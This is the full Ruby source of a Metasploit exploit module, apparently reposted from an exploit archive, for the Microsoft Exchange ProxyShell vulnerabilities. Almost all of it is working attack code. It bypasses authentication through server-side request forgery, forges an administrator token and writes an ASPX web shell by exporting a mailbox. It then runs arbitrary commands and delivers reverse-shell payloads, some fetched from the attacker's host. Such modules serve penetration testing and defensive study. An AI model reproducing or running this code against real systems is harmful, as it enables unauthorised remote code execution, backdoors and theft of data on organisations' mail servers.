Share
## https://sploitus.com/exploit?id=PACKETSTORM:163895
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'winrm'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Exchange ProxyShell RCE',  
'Description' => %q{  
This module exploit a vulnerability on Microsoft Exchange Server that  
allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an  
arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve  
the RCE (Remote Code Execution).  
  
By taking advantage of this vulnerability, you can execute arbitrary  
commands on the remote Microsoft Exchange Server.  
  
This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,  
Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,  
Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.  
  
All components are vulnerable by default.  
},  
'Author' => [  
'Orange Tsai', # Discovery  
'Jang (@testanull)', # Vulnerability analysis  
'PeterJson', # Vulnerability analysis  
'brandonshi123', # Vulnerability analysis  
'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template  
'Spencer McIntyre', # Metasploit module  
'wvu' # Testing  
],  
'References' => [  
[ 'CVE', '2021-34473' ],  
[ 'CVE', '2021-34523' ],  
[ 'CVE', '2021-31207' ],  
[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],  
[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],  
[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]  
],  
'DisclosureDate' => '2021-04-06', # pwn2own 2021  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Platform' => ['windows'],  
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],  
'Privileged' => true,  
'Targets' => [  
[  
'Windows Powershell',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :windows_powershell,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :windows_dropper,  
'CmdStagerFlavor' => %i[psh_invokewebrequest],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'windows',  
'Arch' => [ARCH_CMD],  
'Type' => :windows_command,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'AKA' => ['ProxyShell'],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
OptString.new('EMAIL', [true, 'A known email address for this organization']),  
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),  
])  
  
register_advanced_options([  
OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),  
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),  
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),  
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),  
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),  
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),  
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])  
])  
end  
  
def check  
@ssrf_email ||= Faker::Internet.email  
res = send_http('GET', '/mapi/nspi/')  
return CheckCode::Unknown if res.nil?  
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'  
  
CheckCode::Vulnerable  
end  
  
def cmd_windows_generic?  
datastore['PAYLOAD'] == 'cmd/windows/generic'  
end  
  
def encode_cmd(cmd)  
cmd.gsub!('\\', '\\\\\\')  
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')  
end  
  
def random_mapi_id  
id = "{#{Rex::Text.rand_text_hex(8)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"  
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"  
id.upcase  
end  
  
def request_autodiscover(_server_name)  
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }  
  
response = send_http(  
'POST',  
'/autodiscover/autodiscover.xml',  
data: soap_autodiscover,  
ctype: 'text/xml; charset=utf-8'  
)  
  
case response.body  
when %r{<ErrorCode>500</ErrorCode>}  
fail_with(Failure::NotFound, 'No Autodiscover information was found')  
when %r{<Action>redirectAddr</Action>}  
fail_with(Failure::NotFound, 'No email address was found')  
end  
  
xml = Nokogiri::XML.parse(response.body)  
  
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content  
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?  
  
server = ''  
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|  
type = item.at_xpath('./xmlns:Type', xmlns)&.content  
if type == 'EXCH'  
server = item.at_xpath('./xmlns:Server', xmlns)&.content  
end  
end  
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?  
  
{ server: server, legacy_dn: legacy_dn }  
end  
  
def request_fqdn  
ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
received = send_request_raw(  
'method' => 'RPC_IN_DATA',  
'uri' => normalize_uri('rpc', 'rpcproxy.dll'),  
'headers' => {  
'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"  
}  
)  
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
  
if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)  
hash = received['WWW-Authenticate'].split('NTLM ')[1]  
message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))  
dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]  
  
return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase  
end  
  
fail_with(Failure::NotFound, 'No Backend server was found')  
end  
  
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff  
def request_mapi(_server_name, legacy_dn)  
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"  
headers = {  
'X-RequestType' => 'Connect',  
'X-ClientInfo' => random_mapi_id,  
'X-ClientApplication' => datastore['MapiClientApp'],  
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"  
}  
  
sid = ''  
response = send_http(  
'POST',  
'/mapi/emsmdb',  
data: data,  
ctype: 'application/mapi-http',  
headers: headers  
)  
if response&.code == 200  
sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s  
end  
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?  
  
sid  
end  
  
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.  
def run_cve_2021_34473  
if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?  
server_name = datastore['BackendServerName']  
print_status("Internal server name forced to: #{server_name}")  
else  
print_status('Retrieving backend FQDN over RPC request')  
server_name = request_fqdn  
print_status("Internal server name: #{server_name}")  
end  
@backend_server_name = server_name  
  
# get information via an autodiscover request.  
print_status('Sending autodiscover request')  
autodiscover = request_autodiscover(server_name)  
  
print_status("Server: #{autodiscover[:server]}")  
print_status("LegacyDN: #{autodiscover[:legacy_dn]}")  
  
# get the user UID using mapi request.  
print_status('Sending mapi request')  
mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])  
print_status("SID: #{mailbox_user_sid} (#{datastore['EMAIL']})")  
  
send_payload(mailbox_user_sid)  
@common_access_token = build_token(mailbox_user_sid)  
end  
  
def send_http(method, uri, opts = {})  
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"  
unless opts[:cookie] == :none  
opts[:cookie] = "Email=#{ssrf}"  
end  
  
request = {  
'method' => method,  
'uri' => "/#{ssrf}#{uri}",  
'agent' => datastore['UserAgent'],  
'ctype' => opts[:ctype],  
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }  
}  
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?  
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?  
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?  
  
received = send_request_cgi(request)  
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
  
received  
end  
  
def send_payload(user_sid)  
@shell_input_name = rand_text_alphanumeric(8..12)  
@draft_subject = rand_text_alphanumeric(8..12)  
payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))  
file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"  
envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)  
  
send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')  
end  
  
def soap_autodiscover  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  
<Request>  
<EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>  
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  
</Request>  
</Autodiscover>  
SOAP  
end  
  
def web_directory  
if datastore['UseAlternatePath']  
datastore['IISWritePath'].gsub('\\', '/')  
else  
datastore['ExchangeWritePath'].gsub('\\', '/')  
end  
end  
  
def build_token(sid)  
uint8_tlv = proc do |type, value|  
type + [value.length].pack('C') + value  
end  
  
token = uint8_tlv.call('V', "\x00")  
token << uint8_tlv.call('T', 'Windows')  
token << "\x43\x00"  
token << uint8_tlv.call('A', 'Kerberos')  
token << uint8_tlv.call('L', datastore['EMAIL'])  
token << uint8_tlv.call('U', sid)  
  
# group data for S-1-5-32-544  
token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"  
Rex::Text.encode_base64(token)  
end  
  
def execute_powershell(cmdlet, args: [])  
winrm = SSRFWinRMConnection.new({  
endpoint: full_uri('PowerShell/'),  
transport: :ssrf,  
ssrf_proc: proc do |method, uri, opts|  
uri = "#{uri}?X-Rps-CAT=#{@common_access_token}"  
uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"  
opts[:cookie] = :none  
opts[:data].gsub!(  
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},  
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"  
)  
opts[:data].gsub!(  
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},  
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"  
)  
send_http(method, uri, opts)  
end  
})  
  
winrm.shell(:powershell) do |shell|  
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)  
shell.extend(SSRFWinRMConnection::PowerShell)  
shell.run({ cmdlet: cmdlet, args: args })  
end  
end  
  
def exploit  
@ssrf_email ||= Faker::Internet.email  
print_status('Attempt to exploit for CVE-2021-34473')  
run_cve_2021_34473  
  
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)  
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200  
  
print_status('Assigning the \'Mailbox Import Export\' role')  
execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])  
  
@shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"  
if datastore['UseAlternatePath']  
unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"  
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"  
else  
unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"  
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"  
end  
  
normal_path = unc_path.gsub(/^\\+127\.0\.0\.1\\(.)\$\\/, '\1:\\')  
print_status("Writing to: #{normal_path}")  
register_file_for_cleanup(normal_path)  
  
@export_name = rand_text_alphanumeric(8..12)  
execute_powershell('New-MailboxExportRequest', args: [  
{ name: '-Name', value: @export_name },  
{ name: '-Mailbox', value: datastore['EMAIL'] },  
{ name: '-IncludeFolders', value: '#Drafts#' },  
{ name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },  
{ name: '-ExcludeDumpster' },  
{ name: '-FilePath', value: unc_path }  
])  
  
print_status('Waiting for the export request to complete...')  
30.times do  
if execute_command('whoami')&.code == 200  
print_good('The mailbox export request has completed')  
break  
end  
sleep 5  
end  
  
print_status('Triggering the payload')  
case target['Type']  
when :windows_command  
vprint_status("Generated payload: #{payload.encoded}")  
  
if !cmd_windows_generic?  
execute_command(payload.encoded)  
else  
boundary = rand_text_alphanumeric(8..12)  
response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")  
  
print_warning('Dumping command output in response')  
if response.body =~ /START#{boundary}(.*)END#{boundary}/m  
print_line(Regexp.last_match(1).strip)  
else  
print_error('Empty response, no command output')  
end  
end  
when :windows_dropper  
execute_command(generate_cmdstager(concat_operator: ';').join)  
when :windows_powershell  
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)  
execute_command(cmd)  
end  
end  
  
def cleanup  
super  
return unless @common_access_token && @export_name  
  
print_status('Removing the mailbox export request')  
execute_powershell('Remove-MailboxExportRequest', args: [  
{ name: '-Identity', value: "#{datastore['EMAIL']}\\#{@export_name}" },  
{ name: '-Confirm', value: false }  
])  
end  
  
def execute_command(cmd, _opts = {})  
if !cmd_windows_generic?  
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"  
else  
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"  
end  
  
send_request_raw(  
'method' => 'POST',  
'uri' => normalize_uri(web_directory, @shell_filename),  
'ctype' => 'application/x-www-form-urlencoded',  
'data' => "#{@shell_input_name}=#{cmd}"  
)  
end  
end  
  
class PstEncoding  
ENCODE_TABLE = [  
71, 241, 180, 230, 11, 106, 114, 72,  
133, 78, 158, 235, 226, 248, 148, 83,  
224, 187, 160, 2, 232, 90, 9, 171,  
219, 227, 186, 198, 124, 195, 16, 221,  
57, 5, 150, 48, 245, 55, 96, 130,  
140, 201, 19, 74, 107, 29, 243, 251,  
143, 38, 151, 202, 145, 23, 1, 196,  
50, 45, 110, 49, 149, 255, 217, 35,  
209, 0, 94, 121, 220, 68, 59, 26,  
40, 197, 97, 87, 32, 144, 61, 131,  
185, 67, 190, 103, 210, 70, 66, 118,  
192, 109, 91, 126, 178, 15, 22, 41,  
60, 169, 3, 84, 13, 218, 93, 223,  
246, 183, 199, 98, 205, 141, 6, 211,  
105, 92, 134, 214, 20, 247, 165, 102,  
117, 172, 177, 233, 69, 33, 112, 12,  
135, 159, 116, 164, 34, 76, 111, 191,  
31, 86, 170, 46, 179, 120, 51, 80,  
176, 163, 146, 188, 207, 25, 28, 167,  
99, 203, 30, 77, 62, 75, 27, 155,  
79, 231, 240, 238, 173, 58, 181, 89,  
4, 234, 64, 85, 37, 81, 229, 122,  
137, 56, 104, 82, 123, 252, 39, 174,  
215, 189, 250, 7, 244, 204, 142, 95,  
239, 53, 156, 132, 43, 21, 213, 119,  
52, 73, 182, 18, 10, 127, 113, 136,  
253, 157, 24, 65, 125, 147, 216, 88,  
44, 206, 254, 36, 175, 222, 184, 54,  
200, 161, 128, 166, 153, 152, 168, 47,  
14, 129, 101, 115, 228, 194, 162, 138,  
212, 225, 17, 208, 8, 139, 42, 242,  
237, 154, 100, 63, 193, 108, 249, 236  
].freeze  
  
def self.encode(data)  
encoded = ''  
data.each_char do |char|  
encoded << ENCODE_TABLE[char.ord].chr  
end  
encoded  
end  
end  
  
class XMLTemplate  
def self.render(template_name, context = nil)  
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")  
template = ::File.binread(file_path)  
case context  
when Hash  
b = binding  
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }  
b.eval(locals.join)  
else  
raise ArgumentError  
end  
b.eval(Erubi::Engine.new(template).src)  
end  
end  
  
class SSRFWinRMConnection < WinRM::Connection  
class MessageFactory < WinRM::PSRP::MessageFactory  
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)  
WinRM::PSRP::Message.new(  
runspace_pool_id,  
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],  
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),  
pipeline_id  
)  
end  
end  
  
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF  
# vulnerability  
class TransportFactory < WinRM::HTTP::TransportFactory  
class HttpSsrf < WinRM::HTTP::HttpTransport  
# rubocop:disable Lint/  
def initialize(endpoint, options)  
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint  
@ssrf_proc = options[:ssrf_proc]  
end  
  
def send_request(message)  
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })  
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml  
end  
end  
  
def create_transport(connection_opts)  
raise NotImplementedError unless connection_opts[:transport] == :ssrf  
  
super  
end  
  
private  
  
def init_ssrf_transport(opts)  
HttpSsrf.new(opts[:endpoint], opts)  
end  
end  
  
module PowerShell  
def send_command(command, _arguments)  
command_id = SecureRandom.uuid.to_s.upcase  
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)  
fragmenter.fragment(message) do |fragment|  
command_args = [connection_opts, shell_id, command_id, fragment]  
if fragment.start_fragment  
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)  
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text  
else  
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)  
end  
end  
  
command_id  
end  
end  
  
def initialize(connection_opts)  
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax  
connection_opts.merge!({ user: :ssrf, password: :ssrf })  
super(connection_opts)  
end  
  
def transport  
@transport ||= begin  
transport_factory = TransportFactory.new  
transport_factory.create_transport(@connection_opts)  
end  
end  
end